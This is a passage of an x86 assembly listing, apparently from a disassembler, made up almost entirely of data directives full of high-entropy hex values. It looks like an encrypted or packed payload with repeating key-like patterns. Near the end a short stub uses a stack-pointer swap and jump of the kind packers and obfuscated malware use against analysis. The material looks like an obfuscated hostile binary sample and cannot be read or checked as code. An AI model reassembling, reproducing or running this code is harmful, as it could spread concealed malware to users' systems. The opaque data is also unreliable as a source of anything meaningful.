313434BFh, 0BFB79E61h, 56340E70h dd 5150905Dh, 43471347h, 221390EDh, 2A75137Dh, 0A9EB73E3h dd 0CF356060h, 3910D4E3h, 94095260h, 8E13CC0Ch, 0F9B10513h dd 242916EFh, 9A356066h, 933BE0E3h, 0C1095260h, 2413CC08h dd 94B91213h, 8E2934DFh, 36B72E21h, 573434BFh, 988F9676h dd 88340E65h, 0C1B91213h, 24293777h, 67B72E21h, 0FD3434BFh dd 91B79E61h, 65340E78h, 0C848905Dh, 8F471347h, 492390EDh dd 1975137Dh, 30EB97E3h, 0B226060h, 5F319CDBh, 25471560h dd 197390EDh, 0B375137Dh, 65EB6BE3h, 0A1226060h, 0A319CDBh dd 8F471560h, 55A390EDh, 1975137Dh, 30EB93E3h, 3356060h dd 5F1974E3h, 0A7095260h, 1713CCECh, 0DB91213h, 42291897h dd 0ACB72E21h, 643434BFh, 0ADB79E61h, 3340E64h, 0FBA0905Dh dd 16471347h, 8AE790EDh, 7F75137Dh, 3EB83E3h, 9A356060h dd 932CE0E3h, 0C1095260h, 2413CCFCh, 94B91213h, 8E2907BBh dd 0DAB72E21h, 573434BFh, 0A4B79E61h, 0CF340E67h, 9D90905Dh dd 25471347h, 103B90EDh, 0B375137Dh, 5F0118E3h, 0A9356060h dd 0A0328E3h, 0D095260h, 4213CCC0h, 0A7B91213h, 17290B13h dd 6AB72E21h, 313434BFh, 0C88F967Fh, 113434BFh, 35B11C13h dd 42293DBFh, 0A9356166h, 0A1C74E3h, 0D095260h, 4213CC80h dd 9FB10C13h, 1713CC8Ch, 0B3B6066h, 5F1ACCDBh, 25461560h dd 160F90EDh, 0B375137Dh, 65EBBFE3h, 0A9356060h, 0A3CECE3h dd 0D095260h, 4213CCC8h dd 0A7B91213h, 17290693h, 3AB72E21h, 313434BFh, 0DBB79E61h dd 56340E71h, 5184905Dh, 43471347h, 12C390EDh, 2A75137Dh dd 0A9EBAFE3h, 0CF356060h, 39313CE3h, 94095260h, 8E13CCD8h dd 0C1B91213h, 24290257h, 1ECD1E21h, 883210E2h, 0BFD8FC66h dd 0A709EA99h, 1729312Fh, 88399069h, 0C1BF1566h, 24136E17h dd 0EEC9C68Fh, 0E5B72E99h, 4B340E6Fh, 22320DE3h, 0CE8F9666h dd 893434BEh, 44399069h, 0A7BF1566h, 116AF345h, 77C9BA8Fh dd 5EB72E99h, 2D3434BFh, 113219E2h, 96B72E66h, 4B3434BFh dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h dd 11321523h, 513C905Dh, 0C13D1347h, 2232156Dh, 73D690EBh dd 0E5DB153Eh, 7FCDEA9Dh, 3EB07E3h, 1AB71A60h, 5321566h dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8E13CC70h, 44399069h dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 0A3878D3h dd 89879C60h, 0C4340E69h, 0A73DFC58h, 11321540h, 8B336BEDh dd 0C5EC9E98h, 227215A5h, 7C8F2E66h, 87340E6Ch, 44321DE4h dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h, 2429372Fh dd 1B2B90A1h, 8832137Dh, 0CD521566h, 393D14D3h, 33AF9860h dd 77343492h, 66B01AB5h, 0AF321566h, 3142BAFBh, 87E1EA60h dd 0BBCDCBE5h, 23879E99h, 98340E69h, 93380CD3h, 61AF9860h dd 0DD343459h, 7CB79EB5h, 1340E6Ch, 5F3D14E3h, 0BFBF7460h dd 1713E5EDh, 15BFC699h, 4213E615h, 0A13DC699h, 1132156Ah dd 873390E5h, 0AD37137Dh, 0DDCDEAB8h, 0E2AE88EBh, 5BCD1347h dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h, 421265C9h dd 0A13DC699h, 1132156Dh, 8733A0EDh, 0C4DB137Dh, 0A9321561h dd 0A3D14EBh, 89879C60h, 6F340E69h, 9EBE2A8h, 0F896E697h dd 77CDEAF0h, 7B4F88EBh, 0F1CD1347h, 9419D2EDh, 8E29372Fh dd 5CBF90EFh, 0A7B9137Dh, 1729372Fh, 5BF4531h, 42132A94h dd 0A7B9C499h, 17293CE3h, 0DB94236h, 4229372Fh, 3BF9836h dd 0EE343426h, 3E29EB7h, 0C1BF3EAEh, 0A1340E4Fh, 0A169CDBh dd 0C3D1560h, 4432154Dh, 8CB90EDh, 9419137Dh, 8E2931EFh dd 0C23DD45Dh, 22321571h, 350790EDh, 0D31137Dh, 422931EFh dd 3CA390EFh, 52DB137Dh, 0D9321566h, 497AD4EDh, 22321A99h dd 0E8B79C26h, 89340E4Ch, 5F2CF0E3h, 0ABB7D260h, 11340E42h dd 0E2321566h, 54327D26h, 48631566h, 90A7EA66h, 77340E4Dh dd 5F258CF3h, 17B79C60h, 98340E42h, 932C84E3h, 0F1CD4C60h dd 24290BF7h, 38B7A099h, 7765137Dh, 5F105CD3h, 91B79860h dd 0EE343422h, 1BF14B6h, 0CF340E42h, 392C84DBh, 94879E60h dd 7B340E4Fh, 0B5879EC2h, 8F340E67h, 11CE53A1h, 49321566h dd 833710A6h, 215A1ECEh, 0A2D00E3h, 19BF9E60h, 0CD340E78h dd 64F5B86Eh, 1132159Ah, 79879C66h, 0C7340E67h, 0A73DEA9Eh dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h, 113213A1h dd 4EB11566h, 0B5879C62h, 0CB340E67h, 0EECDE380h, 8B31D5A7h dd 5F2D00E3h, 0AF8F9660h, 10340E6Fh, 88AF9169h, 7AB31566h dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h, 22321566h dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 0AEBA8E5h, 1E33137Dh dd 88322BE2h, 4532AD66h, 9FB11566h, 1713CC40h, 80B61A66h dd 0C9321566h, 375E1FBh, 91E1EA60h, 0C3D8559h, 4432156Eh dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h, 88A2A566h dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h dd 0A9EB33DBh, 0C03D1560h, 2232156Eh, 56F688EBh, 5BCD1347h dd 0CF3652EEh, 392C84E3h, 92F53E60h, 2599118Eh, 44CE53A1h dd 0CB321566h, 0EECDEA77h, 89C3A0EFh, 2C60137Dh, 22329566h dd 0A4CD150Ch, 8E29030Bh, 44078099h, 0A968137Dh, 0A2008EBh dd 8833D260h, 0C7321566h, 0AFBB11A7h, 1729077Bh, 77C7058Fh dd 4296FC99h, 0A9521566h, 0A2008EBh, 13B9E60h, 65EB37EBh dd 6C0A9460h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h dd 113205E3h, 0BC29E66h, 0C1B913A0h, 24293D8Bh, 1133138Fh dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh, 0C3D385Ah dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 0A1879866h dd 0A9340E4Ch, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 24293F83h, 35CF90EDh dd 48B7137Dh, 44289069h, 0A7F41566h, 172936FBh, 2FE07D21h dd 0F1CDC1FCh, 24293A77h, 617490EBh, 58CD1378h, 0C1E2EA34h dd 1AB71AA6h, 9A321566h, 932864E3h, 4BF29060h, 22320FE3h dd 8CB7D366h, 0C4340E45h, 9E2EFC0Eh, 3387EABFh, 9C340E49h dd 964253E3h, 16E2EA60h, 0E2B7C599h, 11379069h, 0A9DB1566h dd 0CD321566h, 3EB37E3h, 9C644560h, 965869E3h, 4FE2EA60h dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh, 0A952D607h dd 30EB37EBh, 49B94560h, 0CF0E5565h, 22329DF6h, 4CA79C66h dd 8D340E68h, 4432159Eh, 0AB3E45EDh, 0A3F28F3h, 0CCB94D60h dd 85193142h, 2F0F905Dh, 933D137Dh, 88321576h, 4A6F905Dh dd 0A13D137Dh, 11321562h, 8836D707h, 6036D207h, 22321566h dd 151651A1h, 88321566h, 443210DEh, 0F1BF9866h, 0EE340E2Ah dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah, 88321524h dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h, 0C03DFE5Ah dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h, 0EAC99667h dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h, 0A89ED555h dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h, 113230E2h dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h, 0C1F5D638h dd 2413CC94h, 11321560h, 6BB20BECh, 0C4C99596h, 0DDD19069h dd 9A7CEA99h, 933878E3h, 5DA79E60h, 0A9340E6Ch, 17F196B8h dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh dd 2D33A0EFh, 4A6D137Dh, 4CB14B3Fh, 0BE52FC62h, 0A7F5EA99h dd 1713CC94h, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h, 8832EA87h dd 0CFEB3E66h, 393878E3h, 8A79E60h, 0B340E6Ch, 5F19ACDBh dd 0A63D1460h, 113215C5h, 0A3DCD5Dh, 443215FDh, 0A03DCF5Dh dd 0EECDEA27h, 88329B8Fh, 0B6B7D266h, 203434BFh, 9A321566h dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 42291F0Bh dd 282B80EDh, 0ACB1137Dh, 8E293EDFh, 0CB61A67h, 19321566h dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h dd 8B2A568h, 85381A87h dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 5F3D14D3h, 9BB7D260h dd 10340E4Dh, 0B321566h, 1D6911A2h, 0A136D1E5h, 66DB11A2h dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h dd 40F69638h, 0DDCBD28Fh, 0E3B7D299h, 8D3434BFh, 0CF321566h dd 26F196B8h, 94B90B65h, 8E291F0Bh, 4E2B80EDh, 0A17C137Dh dd 0A31C8DBh, 0C3D1460h, 44321465h, 0A03DCD5Dh, 1132156Eh dd 0E3DCF5Dh, 4432154Dh, 2D33A0EFh, 8CB9137Dh, 8E13CC94h dd 48164967h, 2232CB8Fh, 94F54A66h, 8E2916BBh, 44321567h dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 5F19ACDBh, 0A63D1460h dd 113215DDh, 825F884Dh, 0C9B9137Dh, 2429372Fh, 0DE19DE65h dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h dd 0C1F5EA99h, 2413CC94h, 11321564h, 3E3DCBEDh, 0C4CB9568h dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h dd 1132EA87h, 3EB3E66h, 5F3878E3h, 3BA79E60h, 0F8340E6Ch dd 77CDEA20h, 9DC090A1h, 22301347h, 0CFB91566h, 83CA369h dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h dd 0DDD394BFh, 3A321566h, 0E5B79EBFh, 0CF340E6Ch, 39380CF3h dd 0A88F9660h, 89340E4Dh, 0BAFB9169h, 0FA09EA99h, 113A9769h dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h, 0C9B1CA4Dh dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h, 113255E2h dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h, 1EDB1566h dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h dd 4E2B98EDh, 0EBB7137Dh, 11349069h, 3DBB1566h, 42291F7Fh dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h, 0A2C2F6E6h dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h, 953DFE5Ah dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah, 88321551h dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h, 0A70E1566h dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h, 0A380CD3h dd 0ADAF9860h, 0BB343459h, 72F1ECB5h, 982253EDh, 93024CE3h dd 82B14D60h, 178F987Ah, 0BC340E6Eh, 0AC165165h, 0B58F98CDh dd 8F340E57h, 35165165h, 35BFBE36h, 42290B1Bh, 67616CBh dd 0D26CBE4Eh, 76AF9830h, 0BB343458h, 0FF95FCB5h, 0CEDFFFFFh dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 644270C0h, 0A8ED96A4h dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43ABD6B0h, 2532DCF1h dd 0BA8C34EEh, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h dd 756BFB38h, 0DF07462Ch, 528995D3h, 3C6D5h, 5492B85Eh dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0F668BC2Fh dd 3C525076h, 90092611h, 0B977DDD3h, 0F4B95163h, 0B575DF79h dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh dd 83297548h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 0E317FB23h dd 25FB5B0Fh, 0FDF53FD5h, 544FFBADh, 0B7342291h, 23AC7ACFh dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73DCC90Bh, 0C7F5FFA0h dd 0C87D7C0Eh, 0F305E983h, 8DDB8BA4h, 21D9FEBDh, 0E58D8D06h dd 0B80621F4h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h dd 0F2850F49h, 8BFFFFFFh, 0D1BD83C0h, 61B23h, 0BD830975h dd 61B3129h, 50197400h, 0B8C08B53h, 411h, 21318589h, 9D8D061Bh dd 61DA6B4h, 585BD3FFh, 3129BD83h, 7400061Bh, 0B8535017h dd 411h, 21318589h, 9D8D061Bh, 61DA355h, 585BD3FFh, 0F2BBC08Bh dd 8D4672A4h, 21F7358Dh, 8D89F906h, 61B2429h, 0AE9h, 4264AA00h dd 49D1645h, 0F836600h, 68Ah, 69BD8900h, 0C7061B07h, 1B076585h dd 6D4C06h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0E9ED9D09h, 7, 0AF8A9A25h, 0C7B81C8Bh dd 1B13D185h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 786F8938h, 0B5FFF5E9h dd 61B18DDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 75C35242h, 0B58B4031h, 61B2BB1h, 0FFF0B70Fh, 1B2F8595h dd 199D3306h, 6A061B1Fh, 595FF00h, 8B061B22h, 0AB7DEBC0h dd 7E6F5F67h, 156C83Fh, 78D1AF30h, 66A88B6Bh, 23A428BBh dd 0AEA0AE7Bh, 0D678F6BFh, 65A8E040h, 392856D1h, 0B4908378h dd 0FC5EAE91h, 0A59C2DEBh, 31CA7726h, 9C24848Fh, 4FF5A9F2h dd 701C03E3h, 0E6B3295Bh, 0C56DFBF2h, 0D4F6B339h, 36B4CF52h dd 0E23D2B99h, 0E97AB626h, 57B10326h, 23ABB93Ah, 0E267D870h dd 2E760B38h, 0AD707E06h, 0D003135h, 57922707h, 32B72665h dd 0E920C1ECh, 255E04EBh, 0DBE92498h, 59000005h, 0AE1801Bh dd 55AA4DECh, 0FCD3761Dh, 1EB554EFh, 680DAC53h, 2BD29F32h dd 0D679778Ch, 32D19C33h, 0DC7F788Fh, 850A893Dh, 38E98A74h dd 1EA3220Bh, 0E98A58A1h, 807A3738h, 8C0E3CD9h, 0DC1B66ECh dd 0E026B239h, 493C8823h, 5E95AE52h, 9A69EC93h, 0E7866759h dd 0E17EFC4Eh, 9166C569h, 0C92AC366h, 0D3720BAEh, 3C08D14Eh dd 8A673EC8h, 0A747C970h, 422E2452h, 6F84219Fh, 0B241DE81h dd 5A8A23C6h, 0E273A1B0h, 0C7B0353Ch, 7F6E8524h, 79FC41E0h dd 0C83CE3FAh, 0A74A253Eh, 4AC03C0Eh, 3EE28971h, 9AD6CCA9h dd 6EEC5EF7h, 74F174D1h, 0C83CEEEFh, 7E03813Eh, 3EC83C7Fh dd 0D6E87412h, 73949A2Ah, 5F996E12h, 58DC8965h, 60E0C061h dd 0F9961496h, 598CE311h, 228657DCh, 6BD93EC8h, 983736CBh dd 32B134F9h, 3EC822ABh, 5F5B32C6h, 7821FA09h, 768156FAh dd 748350D3h, 0B0BF34D1h, 58DA700Dh, 16E45FB8h, 7E3EC867h dd 0ED63CDA4h, 6B0284CBh, 68h, 39DC1BD7h, 1913DDB2h, 0A7A33CDFh dd 3AB98C29h, 3EC87DA3h, 26CA48BEh, 7DA5360Dh, 31CD3EC8h dd 2C5DEB1Eh, 0D952A409h, 0F26AA444h, 640284B4h, 1, 3CDB1BDEh dd 150BEAB9h, 0AD9D3AD9h, 9961922Bh, 77D070F2h, 3AD3727Ch dd 89B97D0Bh, 5FEB9268h, 55F92283h, 3FD87380h, 961B36F8h dd 0C116B958h, 0AE7413B6h, 0B437DE1Bh, 0A17828h, 0C19AD1E4h dd 0CF7B14B7h, 11DD162Fh, 531ED572h, 9B2913ACh, 2514B0Dh dd 3EE10EE3h, 65ECBAA1h, 0E7457F29h, 0A9279755h, 5EE36E38h dd 0B64DEC93h, 10AFBFB9h, 0B855D377h, 14BBB68Dh, 0EC935F74h dd 5AF58F53h, 855388F0h, 89EE02h, 1B540000h, 559E37DEh dd 5ED9761Dh, 0CA4E81D0h, 0D7A36915h, 0A439DDCEh, 6C8326CDh dd 441DE85h, 0EE76A78h, 15EE88C8h, 469B3BD6h, 7E038A25h dd 0C8CEF801h, 0A0DA973Eh, 6CEE5CF9h, 956F73CCh, 672850BAh dd 38C40285h, 0D02D4BCBh, 0C902A64Fh, 4Eh, 37DE1B39h, 551B28B4h dd 87FB11DDh, 0C8A54EE7h, 0BC628C29h, 9D4930B5h, 0C840C716h dd 9239413Eh, 6AD555F5h, 0C84014E5h, 5BDD6B3Eh, 40825BD8h dd 67DD3EC8h, 1B0046E9h, 0A0A33CDBh, 3EC87D5Ah, 37A1B04Ah dd 284B201h, 157h, 0DF1BAB00h, 2BA69F38h, 0C87D55A4h, 0FA9E2C3Eh dd 0E4670AE5h, 0A740DF0Fh, 0E02A03A3h, 825BD85Dh, 0DD3EC87Dh dd 7D1CDD62h, 0D5733EC8h, 649B353h, 2FD27981h, 0E06366FBh dd 0F546A163h, 0B34CBAC4h, 0F5943740h, 0D16E11DEh, 2C9A6972h dd 501FA6C7h, 0C2AE832Ah, 24C4861Fh, 5F277FAh, 4F28BF62h dd 5DA329ACh, 5E9849C1h, 42B18A2Eh, 66F59235h, 48E310DFh dd 6EF37EA8h, 0C46B8781h, 6F931F2Bh, 20AFF765h, 13E063E5h dd 0A5A542E5h, 70E82201h, 0E6FC6998h, 15Bh, 55966D5Ch dd 9CD61DBAh, 73F073F5h, 3EC87D6Ah, 2DDF7F05h, 1EAA3198h dd 610EE996h, 709647E6h, 0AE189C28h, 0E867EA8Eh, 0C4F5999Eh dd 18E15EE1h, 77C72DE6h, 0F4058A11h, 8BC72DE7h, 2BF87BFDh dd 3C0EA74Eh, 8770839Ch, 0C1AE45E4h, 41C4811Eh, 2DE73BC2h dd 50F056C7h, 730BBCBBh, 0E2F703B7h, 0E44F8C6Fh, 0D250F2C6h dd 0FCF6CD50h, 0EE92B855h, 19580655h, 35B85B94h, 4CEC935Eh dd 0FBBB31EDh, 4E9DFC69h, 25000000h, 971EA33Eh, 700DB0C8h dd 6CF336DAh, 3EC87DDDh, 2A19B654h, 3EC87DD3h, 0AB0D6446h dd 0A92CAF12h, 1886B023h, 0D55EB868h, 3EC88204h, 649ED5Bh dd 0C882C089h, 46E95F3Eh, 99452C03h, 0C882C31Ah, 0AA289E3Eh dd 2B993D0Dh, 87h, 22A73EA5h, 5FFA149Bh, 0E75DC4F5h, 27CAA54Eh dd 0FDA0CFA4h, 4A25BA59h, 0A1350EA7h, 58C72CA1h, 0AB78ABC6h dd 0BB8F28CFh, 6A9C61Bh, 9F2AAF63h, 0BB0D971Ch, 38CE3D0Eh dd 700FDEB5h, 737C77D0h, 0B2BC37D0h, 7E797A13h, 0C6B142DBh dd 53C08A23h, 2A47CCA3h, 0E260EA83h, 1B981D20h, 0CD0A9BC2h dd 9D87279Dh, 0E0E970D2h, 834CD65Dh, 8D083728h, 93728B08h dd 770DD368h, 6893EBF2h, 0D0A986D3h, 4B07A729h, 3E141ABDh dd 169B22A7h, 48D2C49h, 3EC87DF5h, 0F877FE8Ch, 3EC87DE1h dd 0E3660A80h, 0EA65D65Ch, 821BA9C4h, 44E38671h, 0A0473201h dd 640CEB00h, 16751EDFh, 55D371C7h, 0E0A8BB8h, 0C58021CCh dd 8C2FE437h, 26526E0Dh, 0B7610583h, 4A4433B8h, 0D2E17E2Bh dd 170BA587h, 63781799h, 9F54F194h, 0FE99DACCh, 0CE67E961h dd 8CBF923Ch, 0B7508800h, 2B8713BAh, 951AA138h, 0E9EC8D44h dd 0F409AD1Bh, 22B958FBh, 3015B255h, 58F59063h, 1BA04EF2h dd 0FD000000h, 4E411A6Fh, 0EE921DECh, 1BE86D68h, 0AAA03DD8h dd 0C87DD821h, 0AD51B73Eh, 0D91BFDC3h, 2552A13Eh, 0DF0EE582h dd 244CA740h, 0E20FE481h, 2851A23Bh, 0DC0FE481h, 234FA441h dd 0E610E37Ch, 5124AE47h, 0C181E189h, 4, 4BF57h, 0F9290000h dd 240C875Fh, 0E689565Ch, 4C681h, 0EE830000h, 24348704h dd 2434895Ch, 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 81241C89h dd 4ECh, 243C8900h, 0A3698568h, 814F5F26h, 829E46F7h, 5FFE8920h dd 241C8B54h, 5104C483h, 8B9h, 52D90100h, 0BAh, 89CA0100h dd 8B595A32h, 8957241Ch, 4C781E7h, 83000000h, 3C8704C7h dd 348B5C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_53531C ; --------------------------------------------------------------------------- db 32h, 53h, 0FCh dd 0C6C210Eh, 0F6B825D2h, 30621FCh, 42E0FFC5h, 715160C3h dd 9F3AF5CEh, 0EE0E5B73h, 5B369258h, 3F67C518h, 0CF200655h dd 0BB3E2659h, 0C33D4BFDh, 82155449h, 217DE420h, 0E957AC5Eh dd 0EDh, 0D88C6660h, 840F04A8h, 0DFh, 715B58Bh, 0FE83061Bh dd 22850F00h, 0C6000000h, 1B239D85h, 69684506h, 0FF8E7269h dd 1B2BF9B5h, 46858D06h, 0FF061E70h, 0BD8589D0h, 8B061B2Fh dd 0E93E80F0h, 31850Fh, 858D0000h, 6206B80h, 0BD8BD0FFh dd 61B22B1h, 1184C781h, 0B58B0000h, 61B0715h, 8B9F787h dd 0F3000000h, 15B58BA4h, 8D061B07h, 1F219F85h, 8BD0FF06h dd 1B25F5B5h, 0FE8306h, 22850Fh, 85C60000h, 61B239Dh, 0BEF46854h dd 0B5FFFF4Eh, 61B2BF9h, 7046858Dh, 0D0FF061Eh, 25F58589h dd 0F08B061Bh, 0FE93E80h, 3A85h, 0F5B58B00h, 8D061B25h dd 206B8085h, 8BD0FF06h, 1B22B1BDh, 84C78106h, 83000011h dd 0B58B08C7h, 61B25F5h, 8B9F787h, 0F3000000h, 0F5B58BA4h dd 8D061B25h, 1F219F85h, 61D0FF06h, 0D7858DC3h, 890621FDh dd 1B126585h, 8EB06h, 86000000h, 0E9712DCAh, 4A1h, 21FFC168h dd 7F3EE906h, 4068FFF9h, 0E9062200h, 0FFF97F34h, 2201B268h dd 7F2AE906h, 4E1EFFF9h, 0AFBF14B3h, 609A7110h, 0B2C116B9h dd 96637817h, 772D50EFh, 0D9781F5Ah, 0B453F602h, 10AF4E1Fh dd 0B659FCFBh, 0FB028104h, 9638E983h, 0DE1BEDD5h, 1A559E37h dd 3AB85320h, 0DDDE6397h, 786308EBh, 0F97CFEEAh, 0D2C4A77Ch dd 0E16906A1h, 0E484C65Fh, 0F54C515Fh, 2B441BC4h, 8A54431h dd 2420C042h, 0A73A09A6h, 50C72C8Ch, 0BB319BB6h, 9DFC69A2h dd 2BEh, 0D3549C25h, 3BB83B8Eh, 0C4F559C5h, 50FBF056h dd 0C44A4602h, 0B4379227h, 0CD710CDFh, 26FF058Ah, 0A80388Ah dd 0B514A96Dh, 0EDCDB12Eh, 0E4623290h, 0E261E461h, 0CE816F1Bh dd 9B701076h, 0C116B95Ch, 0CC4313B6h, 0BA404F5Dh, 326E5F5h dd 1A5A0000h, 0EB0BE07Fh, 1C56AD4Ch, 0EEFDD275h, 521FB453h dd 33690CABh, 8D2CD39Eh, 38D77A76h, 9433D2A3h, 0EA8D303Fh dd 7D65DF8h, 5A38E982h, 0A73EB191h, 99169B22h, 3EC87D40h dd 4205A91Fh, 0EA7C0EBDh, 1F4C21C4h, 0E15FEB84h, 0C56C855Ah dd 0FDA4CD22h, 6A57E560h, 0DE49CEE8h, 38BA5596h, 3B4F9398h dd 4A19C716h, 0A2217F2Ch, 0AAB41445h, 84738828h, 0A8080DE1h dd 0B57A49D8h, 2A725h, 0FE99DB00h, 0CB6A845Bh, 0F49BD72Ch dd 0D26D7E55h, 0FAA1D82Fh, 0E1F0F257h, 39CE7118h, 0E6FD9C3Fh dd 32C96807h, 0CBFFA245h, 7D32CB48h, 5C4D38EAh, 1DA73EE6h dd 0C87D4796h, 4AA30A3Eh, 24648E11h, 1DA022A8h, 0EAEF7596h dd 0C562E8C4h, 16E97B7Eh, 77FAA4C7h, 8B4DB844h, 52EB8E6Ah dd 6C7A6CF8h, 3AB26C0Ch, 1CFC634Ah, 186h, 0FC9BDAA9h, 0DC1BD65Ch dd 7D2EAF34h, 0EE83EC8h, 0D355F36Fh, 1BBEB93Ah, 96338A7Ch dd 597A900Fh, 8FF5C4F5h, 0A1884DF6h, 8775C72Ch, 91E65EC8h dd 5970FC69h, 0D2000000h, 0FF14A73Eh, 442869ECh, 78770650h dd 2CF15AECh, 0DE771657h, 0E867EE6Ch, 0C4F4A8CAh, 54A52A95h dd 2BC72CA9h, 0C1821B9Dh, 0C72CA93Ch, 65D662E9h, 8E4FD479h dd 0E1C72CDCh, 5A4D763h, 9635411Ah, 0DF4908F2h, 0FC68F069h dd 0C2EFh, 54DB5600h, 0C72C4E85h, 84CA6EDCh, 0AF34DC1Bh dd 3EC87D2Eh, 0A845C341h, 0FD822E4Bh, 3EC87DFCh, 0DA73F593h dd 0A23BDE19h, 0E4832651h, 0C87AB85Fh, 0E285723Eh, 0D76EFA3Fh dd 0A52F8D5Bh, 0EA6FA145h, 53D95CDFh, 65946214h, 0E86D112Ah dd 3B093F5Bh, 461DA026h, 5FE28629h, 0BA7456E2h, 1CA6ACDCh dd 0D661FA77h, 3ADE5C40h, 8225CCA5h, 5BD8846Dh, 0C72A0A82h dd 15E967DDh, 49E43B0Eh, 3503D758h, 69000001h, 0BA51F08Bh dd 657A1DBCh, 0AC43E68Dh, 6E8524BFh, 183DDC83h, 7B224F82h dd 46E907DCh, 82214CA3h, 4CEF08DFh, 159A39ADh, 38EA7CC4h dd 6DF0D29Bh, 19B65996h, 81788D31h, 0D7A037DAh, 1B8D9534h dd 579C39DCh, 20D27518h, 26AD3099h, 0C4F4B2E6h, 7FEAFD79h dd 0E37C1F59h, 0CCABDB67h, 4F24A729h, 0E0F97622h, 7FC72C79h dd 63E88709h, 0C72C799Eh, 1DBC5F98h, 6B04ABC6h, 0B76Fh dd 0A73EE900h, 7C0D9B22h, 5A14F4E4h, 0F47BBE62h, 